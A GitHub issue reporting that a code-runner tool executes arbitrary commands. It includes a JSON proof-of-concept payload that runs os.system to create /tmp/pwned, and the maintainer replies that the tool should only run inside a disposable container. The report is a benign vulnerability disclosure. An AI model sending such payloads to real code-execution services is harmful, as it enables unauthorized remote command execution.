Skip to content
This repository has been archived by the owner. It is now read-only.

Arbitrarily code execute #15

Closed
IanSmith123 opened this issue Aug 23, 2018 · 1 comment
Closed

Arbitrarily code execute #15

IanSmith123 opened this issue Aug 23, 2018 · 1 comment

Comments

@IanSmith123
Copy link

@IanSmith123 IanSmith123 commented Aug 23, 2018

This program doesn't limit the execution of command, we can run arbitrarily command on this runner.

payload:

{
  "language": "python",
  "files": [
    {
      "name": "main.py",
      "content": "import os\nos.system('touch /tmp/pwned')"
    }
  ]
}

output:

# ./runner
{
  "language": "python",
  "files": [
    {
      "name": "main.py",
      "content": "import os\nos.system('touch /tmp/pwned')"
    }
  ]
}
{"stdout":"","stderr":"","error":""}
# ls |grep pwn
pwned

If this program run on a website, it will cause remote command execution.

For example
image

@prasmussen
Copy link
Owner

@prasmussen prasmussen commented Aug 25, 2018

Indeed, this tool does not limit what can be run. You should only run this inside a container or similar. glot.io uses this inside glot-containers for sandboxing and the container is deleted after each run.

@prasmussen prasmussen closed this Aug 25, 2018
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
2 participants